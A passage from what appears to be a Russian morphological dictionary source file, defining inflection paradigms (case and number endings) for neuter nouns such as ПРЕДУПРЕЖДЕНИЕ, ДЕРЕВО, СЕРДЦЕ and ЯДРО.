flexer "pl" // ПРЕДУПРЕЖДЕНИЯ ПАДЕЖ:ДАТ ЧИСЛО:Мн { "%-1%+ЯМ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНИЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:Мн { "%-1%+ЯХ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНИЯХ ПАДЕЖ:(ИМ) ЧИСЛО:Ед { "" } // предупрежденье ПАДЕЖ:(РОД) ЧИСЛО:Ед { "%-1%+Я" } // ПРЕДУПРЕЖДЕНЬЯ ПАДЕЖ:ТВОР ЧИСЛО:Ед { "%-1%+ЕМ" } // ПРЕДУПРЕЖДЕНЬЕМ ПАДЕЖ:ВИН ЧИСЛО:Ед { "" } // ПРЕДУПРЕЖДЕНЬЕ ПАДЕЖ:ДАТ ЧИСЛО:Ед { "%-1%+Ю" } // ПРЕДУПРЕЖДЕНЬЮ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:Ед { "%-1%+И" } // ПРЕДУПРЕЖДЕНЬИ ПАДЕЖ:(ИМ) ЧИСЛО:Мн { "%-1%+Я" } :: flexer "pl" // ПРЕДУПРЕЖДЕНЬЯ ПАДЕЖ:ТВОР ЧИСЛО:Мн { "%-1%+ЯМИ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНЬЯМИ ПАДЕЖ:ВИН ЧИСЛО:Мн { "%-1%+Я" } :: flexer "pl" // ПРЕДУПРЕЖДЕНЬЯ ПАДЕЖ:ДАТ ЧИСЛО:Мн { "%-1%+ЯМ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНЬЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:Мн { "%-1%+ЯХ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНЬЯХ } // существительные типа ПРЕДУПРЕЖДЕНИЕ, имеющие альтернативных набор форм на -ЬЕ paradigm /*ПРЕДУПРЕЖДЕНИЕ*/ Сущ_3003_2 : СУЩЕСТВИТЕЛЬНОЕ { РОД:СР ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ ПАДЕЖ:(ИМ) ЧИСЛО:Ед { "%-2%+ИЕ" } // предупреждение ПАДЕЖ:(РОД) ЧИСЛО:Ед { "%-2%+ИЯ" } // ПРЕДУПРЕЖДЕНиЯ ПАДЕЖ:ТВОР ЧИСЛО:Ед { "%-2%+ИЕМ" } // ПРЕДУПРЕЖДЕНиЕМ ПАДЕЖ:ВИН ЧИСЛО:Ед { "%-2%+ИЕ" } // ПРЕДУПРЕЖДЕНиЕ ПАДЕЖ:ДАТ ЧИСЛО:Ед { "%-2%+ИЮ" } // ПРЕДУПРЕЖДЕНиЮ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:Ед { "%-2%+ИИ" } // ПРЕДУПРЕЖДЕНиИ ПАДЕЖ:(ИМ) ЧИСЛО:Мн { "%-2%+ИЯ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНИЯ ПАДЕЖ:(РОД) ЧИСЛО:Мн { "%-2%+ИЙ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНИЙ ПАДЕЖ:ТВОР ЧИСЛО:Мн { "%-2%+ИЯМИ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНИЯМИ ПАДЕЖ:ВИН ЧИСЛО:Мн { "%-2%+ИЯ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНИЯ ПАДЕЖ:ДАТ ЧИСЛО:Мн { "%-2%+ИЯМ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНИЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:Мн { "%-2%+ИЯХ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНИЯХ ПАДЕЖ:(ИМ) ЧИСЛО:Ед { "%-2%+ЬЕ" } // предупрежденье ПАДЕЖ:(РОД) ЧИСЛО:Ед { "%-2%+ЬЯ" } // ПРЕДУПРЕЖДЕНЬЯ ПАДЕЖ:ТВОР ЧИСЛО:Ед { "%-2%+ЬЕМ" } // ПРЕДУПРЕЖДЕНЬЕМ ПАДЕЖ:ВИН ЧИСЛО:Ед { "%-2%+ЬЕ" } // ПРЕДУПРЕЖДЕНЬЕ ПАДЕЖ:ДАТ ЧИСЛО:Ед { "%-2%+ЬЮ" } // ПРЕДУПРЕЖДЕНЬЮ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:Ед { "%-2%+ЬЕ" } // ПРЕДУПРЕЖДЕНЬЕ ПАДЕЖ:(ИМ) ЧИСЛО:Мн { "%-2%+ЬЯ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНЬЯ ПАДЕЖ:ТВОР ЧИСЛО:Мн { "%-2%+ЬЯМИ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНЬЯМИ ПАДЕЖ:ВИН ЧИСЛО:Мн { "%-2%+ЬЯ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНЬЯ ПАДЕЖ:ДАТ ЧИСЛО:Мн { "%-2%+ЬЯМ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНЬЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:Мн { "%-2%+ЬЯХ" } :: flexer "pl" // ПРЕДУПРЕЖДЕНЬЯХ } paradigm /*КУШАНЬЕ*/ Сущ_3006 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:Ед { "" } // КУШАНЬЕ ПАДЕЖ:(РОД) ЧИСЛО:Ед { "%-1%+Я" } // КУШАНЬЯ ПАДЕЖ:ТВОР ЧИСЛО:Ед { "%-1%+ЕМ" } // КУШАНЬЕМ ПАДЕЖ:ВИН ЧИСЛО:Ед { "" } // КУШАНЬЕ ПАДЕЖ:ДАТ ЧИСЛО:Ед { "%-1%+Ю" } // КУШАНЬЮ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:Ед { "%-1%+Е" } // КУШАНЬЕ ПАДЕЖ:(ИМ) ЧИСЛО:Мн { "%-1%+Я" } :: flexer "pl" // КУШАНЬЯ ПАДЕЖ:(РОД) ЧИСЛО:Мн { "%-2%+ИЙ" } :: flexer "pl" // КУШАНИЙ ПАДЕЖ:ТВОР ЧИСЛО:Мн { "%-1%+ЯМИ" } :: flexer "pl" // КУШАНЬЯМИ ПАДЕЖ:ВИН ЧИСЛО:Мн { "%-1%+Я" } :: flexer "pl" // КУШАНЬЯ ПАДЕЖ:ДАТ ЧИСЛО:Мн { "%-1%+ЯМ" } :: flexer "pl" // КУШАНЬЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:Мн { "%-1%+ЯХ" } :: flexer "pl" // КУШАНЬЯХ } paradigm /*ДЕРЕВО*/ Сущ_3007 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+ЬЯ" } // ДЕРЕВО ДЕРЕВЬЯ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-1%+ЬЕВ" } // ДЕРЕВА ДЕРЕВЬЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОМ" "%-1%+ЬЯМИ" } // ДЕРЕВОМ ДЕРЕВЬЯМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+ЬЯ" } // ДЕРЕВО ДЕРЕВЬЯ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+ЬЯМ" } // ДЕРЕВУ ДЕРЕВЬЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЬЯХ" } // ДЕРЕВЕ ДЕРЕВЬЯХ } paradigm /*УХО*/ Сущ_3008 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ШИ" } // УХО УШИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-2%+ШЕЙ" } // УХА УШЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОМ" "%-2%+ШАМИ" } // УХОМ УШАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-2%+ШИ" } // УХО УШИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-2%+ШАМ" } // УХУ УШАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-2%+ШАХ" } // УХЕ УШАХ } paradigm ВАРЕВО, Сущ_3009 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)\\@бО" { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ВАРЕВО ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+А" } // ВАРЕВА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+М" } // ВАРЕВОМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ВАРЕВО ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+У" } // ВАРЕВУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ВАРЕВЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "%-1%+А" } :: flexer "pl" // ВАРЕВА ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } :: flexer "pl" // ВАРЕВ ПАДЕЖ:ТВОР ЧИСЛО:МН { "%-1%+АМИ" } :: flexer "pl" // ВАРЕВАМИ ПАДЕЖ:ВИН ЧИСЛО:МН { "%-1%+А" } :: flexer "pl" // ВАРЕВА ПАДЕЖ:ДАТ ЧИСЛО:МН { "%-1%+АМ" } :: flexer "pl" // ВАРЕВАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "%-1%+АХ" } :: flexer "pl" // ВАРЕВАХ } paradigm ИВАНОВО, Сущ_3010 : СУЩЕСТВИТЕЛЬНОЕ for "(.+)ВО" { РОД:СР ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:НЕОДУШ CharCasing:FirstCapitalized ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ИВАНОВО ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+А" } // ИВАНОВА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+ЫМ" } // ИВАНОВЫМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ИВАНОВО ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+У" } // ИВАНОВУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ИВАНОВЕ } paradigm /*КУПЕ*/ Сущ_3012 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // КУПЕ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "" } // КУПЕ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "" } // КУПЕ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // КУПЕ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "" } // КУПЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "" } // КУПЕ ПАДЕЖ:(ИМ) ЧИСЛО:МН { "" } :: flexer "pl" // КУПЕ ПАДЕЖ:(РОД) ЧИСЛО:МН { "" } :: flexer "pl" // КУПЕ ПАДЕЖ:ТВОР ЧИСЛО:МН { "" } :: flexer "pl" // КУПЕ ПАДЕЖ:ВИН ЧИСЛО:МН { "" } :: flexer "pl" // КУПЕ ПАДЕЖ:ДАТ ЧИСЛО:МН { "" } :: flexer "pl" // КУПЕ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:МН { "" } :: flexer "pl" // КУПЕ } paradigm /*СЕРДЦЕ*/ Сущ_3013 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+А" } // СЕРДЦЕ СЕРДЦА ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-2%+ЕЦ" } // СЕРДЦА СЕРДЕЦ ПАДЕЖ:ТВОР ЧИСЛО { "%+М" "%-1%+АМИ" } // СЕРДЦЕМ СЕРДЦЕМ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+А" } // СЕРДЦЕ СЕРДЦА ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+АМ" } // СЕРДЦУ СЕРДЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // СЕРДЦЕ СЕРДЦАХ } paradigm /*СТЕКЛО*/ Сущ_3014 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-3%+ЁКЛА" } // СТЕКЛО СТЁКЛА ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-3%+ЁКЛ" } // СТЕКЛА СТЁКОЛ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОМ" "%-3%+ЁКЛАМИ" } // СТЕКЛОМ СТЁКЛАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-3%+ЁКЛА" } // СТЕКЛО СТЁКЛА ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-3%+ЁКЛАМ" } // СТЕКЛУ СТЁКЛАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-3%+ЁКЛАХ" } // СТЕКЛЕ СТЁКЛАХ } paradigm /*ЯЙЦО*/ Сущ_3015 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+А" } // ЯЙЦО ЯЙЦА ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-3%+ИЦ" } // ЯЙЦА ЯИЦ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОМ" "%-1%+АМИ" } // ЯЙЦОМ ЯЙЦАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+А" } // ЯЙЦО ЯЙЦА ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+АМ" } // ЯЙЦУ ЯЙЦАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // ЯЙЦЕ ЯЙЦАХ } paradigm /*УТРО*/ Сущ_3016 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // УТРО ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+А" } // УТРА ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОМ" "%-1%+АМИ" } // УТРОМ УТРАМИ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // УТРО ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+АМ" } // УТРУ УТРАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // УТРЕ УТРАХ } paradigm /*БЕЛЬЁ*/ Сущ_3017 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // БЕЛЬЁ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Я" } // БЕЛЬЯ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+М" } // БЕЛЬЁМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // БЕЛЬЁ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Ю" } // БЕЛЬЮ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Ё" } // БЕЛЬЁ } paradigm /*КОЛЕНО*/ Сущ_3018 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // КОЛЕНО КОЛЕНИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-1%+ЕЙ" } // КОЛЕНА КОЛЕНЕЙ ПАДЕЖ:(РОД) ЧИСЛО:МН { "%-1" } // КОЛЕН ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОМ" "%-1%+ЯМИ" } // КОЛЕНОМ КОЛЕНЯМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+И" } // КОЛЕНО КОЛЕНИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+ЯМ" } // КОЛЕНУ КОЛЕНЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЯХ" } // КОЛЕНЕ КОЛЕНЯХ } paradigm /*ПЛЕЧО*/ Сущ_3019 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ПЛЕЧО ПЛЕЧИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-1%+ЕЙ" } // ПЛЕЧА ПЛЕЧЕЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОМ" "%-1%+АМИ" } // ПЛЕЧОМ ПЛЕЧАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+И" } // ПЛЕЧО ПЛЕЧИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+АМ" } // ПЛЕЧУ ПЛЕЧАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // ПЛЕЧЕ ПЛЕЧАХ } paradigm /*ГОРЕ*/ Сущ_3021 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ГОРЕ ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+Я" } // ГОРЯ ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%-1%+Е" } // ГОРЕМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ГОРЕ ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+Ю" } // ГОРЮ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ГОРЕ } paradigm /*ЧЕЛО*/ Сущ_3022 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО:ЕД { "" } // ЧЕЛО ПАДЕЖ:(РОД) ЧИСЛО:ЕД { "%-1%+А" } // ЧЕЛА ПАДЕЖ:ТВОР ЧИСЛО:ЕД { "%+М" } // ЧЕЛОМ ПАДЕЖ:ВИН ЧИСЛО:ЕД { "" } // ЧЕЛО ПАДЕЖ:ДАТ ЧИСЛО:ЕД { "%-1%+У" } // ЧЕЛУ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО:ЕД { "%-1%+Е" } // ЧЕЛЕ } paradigm /*ПЛАТЬЕ*/ Сущ_3023 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+Я" } // ПЛАТЬЕ ПЛАТЬЯ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Я" "%+В" } // ПЛАТЬЯ ПЛАТЬЕВ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕМ" "%-1%+ЯМИ" } // ПЛАТЬЕМ ПЛАТЬЯМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+Я" } // ПЛАТЬЕ ПЛАТЬЯ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Я" "%-1%+ЯМ" } // ПЛАТЬЯ ПЛАТЬЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "" "%-1%+ЯХ" } // ПЛАТЬЕ ПЛАТЬЯХ } paradigm /*ВЕКО*/ Сущ_3024 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // ВЕКО ВЕКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-1" } // ВЕКА ВЕК ПАДЕЖ:ТВОР ЧИСЛО { "%+М" "%-1%+АМИ" } // ВЕКОМ ВЕКАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+И" } // ВЕКО ВЕКИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+АМ" } // ВЕКУ ВЕКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // ВЕКЕ ВЕКАХ } paradigm /*ПЯТНО*/ Сущ_3025 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+А" } // ПЯТНО ПЯТНА ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-2%+ЕН" } // ПЯТНА ПЯТЕН ПАДЕЖ:ТВОР ЧИСЛО { "%+М" "%-1%+АМИ" } // ПЯТНОМ ПЯТНАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+А" } // ПЯТНО ПЯТНА ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+АМ" } // ПЯТНУ ПЯТНАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // ПЯТНЕ ПЯТНАХ } paradigm /*НЕБО*/ Сущ_3027 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+ЕСА" } // НЕБО НЕБЕСА ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-1%+ЕС" } // НЕБА НЕБЕС ПАДЕЖ:ТВОР ЧИСЛО { "%+М" "%-1%+ЕСАМИ" } // НЕБОМ НЕБЕСАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+ЕСА" } // НЕБО НЕБЕСА ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+ЕСАМ" } // НЕБУ НЕБЕСАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЕСАХ" } // НЕБЕ НЕБЕСАХ } paradigm /*КОПЬЁ*/ Сущ_3029 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+Я" } // КОПЬЁ КОПЬЯ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+Я" "%-2%+ИЙ" } // КОПЬЯ КОПИЙ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕМ" "%-1%+ЯМИ" } // КОПЬЁМ КОПЬЯМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+Я" } // КОПЬЁ КОПЬЯ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+Ю" "%-1%+ЯМ" } // КОПЬЮ КОПЬЯМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+ЯХ" } // КОПЬЕ КОПЬЯХ } paradigm /*ЖИВОТНОЕ*/ Сущ_3030 : СУЩЕСТВИТЕЛЬНОЕ { РОД:СР ПЕРЕЧИСЛИМОСТЬ:ДА ОДУШ:ОДУШ ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-2%+ЫЕ" } // ЖИВОТНОЕ ЖИВОТНЫЕ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+ГО" "%-2%+ЫХ" } // ЖИВОТНОГО ЖИВОТНЫХ ПАДЕЖ:ТВОР ЧИСЛО { "%-2%+ЫМ" "%-2%+ЫМИ" } // ЖИВОТНЫМ ЖИВОТНЫМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-2%+ЫХ" } // ЖИВОТНОЕ ЖИВОТНЫХ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+МУ" "%-2%+ЫМ" } // ЖИВОТНОМУ ЖИВОТНЫМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+М" "%-2%+ЫХ" } // ЖИВОТНОМ ЖИВОТНЫХ } paradigm /*ОБЛАКО*/ Сущ_3031 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+А" } // ОБЛАКО ОБЛАКА ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-1%+ОВ" } // ОБЛАКА ОБЛАКОВ ПАДЕЖ:ТВОР ЧИСЛО { "%+М" "%-1%+АМИ" } // ОБЛАКОМ ОБЛАКАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+А" } // ОБЛАКО ОБЛАКА ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+АМ" } // ОБЛАКУ ОБЛАКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // ОБЛАКЕ ОБЛАКАХ } paradigm /*ОЗЕРО*/ Сущ_3033 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-3%+ЁРА" } // ОЗЕРО ОЗЁРА ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-3%+ЁР" } // ОЗЕРА ОЗЁР ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОМ" "%-3%+ЁРАМИ" } // ОЗЕРОМ ОЗЁРАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-3%+ЁРА" } // ОЗЕРО ОЗЁРА ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-3%+ЁРАМ" } // ОЗЕРУ ОЗЁРАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-3%+ЁРАХ" } // ОЗЕРЕ ОЗЁРАХ } paradigm /*КОЛЕСО*/ Сущ_3034 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-3%+ЁСА" } // КОЛЕСО КОЛЁСА ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-3%+ЁС" } // КОЛЕСА КОЛЁС ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ОМ" "%-3%+ЁСАМИ" } // КОЛЕСОМ КОЛЁСАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-3%+ЁСА" } // КОЛЕСО КОЛЁСА ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-3%+ЁСАМ" } // КОЛЕСУ КОЛЁСАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-3%+ЁСАХ" } // КОЛЕСЕ КОЛЁСАХ } paradigm /*КЛАДБИЩЕ*/ Сущ_3035 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+А" } // КЛАДБИЩЕ КЛАДБИЩА ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-1" } // КЛАДБИЩА КЛАДБИЩ ПАДЕЖ:ТВОР ЧИСЛО { "%-1%+ЕМ" "%-1%+АМИ" } // КЛАДБИЩЕМ КЛАДБИЩАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+А" } // КЛАДБИЩЕ КЛАДБИЩА ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+АМ" } // КЛАДБИЩУ КЛАДБИЩАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // КЛАДБИЩЕ КЛАДБИЩАХ } paradigm /*ГНЕЗДО*/ Сущ_3036 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-4%+ЁЗДА" } // ГНЕЗДО ГНЁЗДА ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-4%+ЁЗД" } // ГНЕЗДА ГНЁЗД ПАДЕЖ:ТВОР ЧИСЛО { "%+М" "%-4%+ЁЗДАМИ" } // ГНЕЗДОМ ГНЁЗДАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-4%+ЁЗДА" } // ГНЕЗДО ГНЁЗДА ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-4%+ЁЗДАМ" } // ГНЕЗДУ ГНЁЗДАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-4%+ЁЗДАХ" } // ГНЕЗДЕ ГНЁЗДАХ } paradigm /*МЕСТЕЧКО*/ Сущ_3037 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+И" } // МЕСТЕЧКО МЕСТЕЧКИ ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-2%+ЕК" } // МЕСТЕЧКА МЕСТЕЧЕК ПАДЕЖ:ТВОР ЧИСЛО { "%+М" "%-1%+АМИ" } // МЕСТЕЧКОМ МЕСТЕЧКАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+И" } // МЕСТЕЧКО МЕСТЕЧКИ ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+АМ" } // МЕСТЕЧКУ МЕСТЕЧКАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // МЕСТЕЧКЕ МЕСТЕЧКАХ } paradigm /*ЯДРО*/ Сущ_3038 : СУЩЕСТВИТЕЛЬНОЕ { ПАДЕЖ:(ИМ) ЧИСЛО { "" "%-1%+А" } // ЯДРО ЯДРА ПАДЕЖ:(РОД) ЧИСЛО { "%-1%+А" "%-2%+ЕР" } // ЯДРА ЯДЕР ПАДЕЖ:ТВОР ЧИСЛО { "%+М" "%-1%+АМИ" } // ЯДРОМ ЯДРАМИ ПАДЕЖ:ВИН ЧИСЛО { "" "%-1%+А" } // ЯДРО ЯДРА ПАДЕЖ:ДАТ ЧИСЛО { "%-1%+У" "%-1%+АМ" } // ЯДРУ ЯДРАМ ПАДЕЖ:(ПРЕДЛ) ЧИСЛО { "%-1%+Е" "%-1%+АХ" } // 